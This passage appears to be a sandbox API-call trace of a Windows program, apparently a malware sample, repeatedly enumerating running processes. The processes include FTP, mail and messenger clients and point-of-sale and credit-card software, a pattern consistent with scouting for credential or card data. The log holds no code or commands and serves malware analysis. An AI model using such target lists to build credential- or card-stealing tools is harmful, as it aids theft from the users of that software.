hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0272.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0272.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0272.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0272.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0272.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0272.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0272.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0272.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0272.691] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0272.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0272.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0272.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0272.703] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0272.705] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0272.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0272.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0272.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0272.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0272.764] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0272.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0272.768] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0272.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0272.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0272.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0272.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0272.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0272.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0272.840] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0272.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0272.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0272.848] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0272.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0272.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0272.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0272.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0272.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0272.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0272.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0272.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0272.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0272.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0272.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0272.926] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0272.928] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0272.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0272.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0272.935] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.937] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.942] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0272.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0272.952] CloseHandle (hObject=0x344) returned 1 [0272.953] Sleep (dwMilliseconds=0x64) [0272.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0273.005] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.019] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.112] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.123] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0273.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 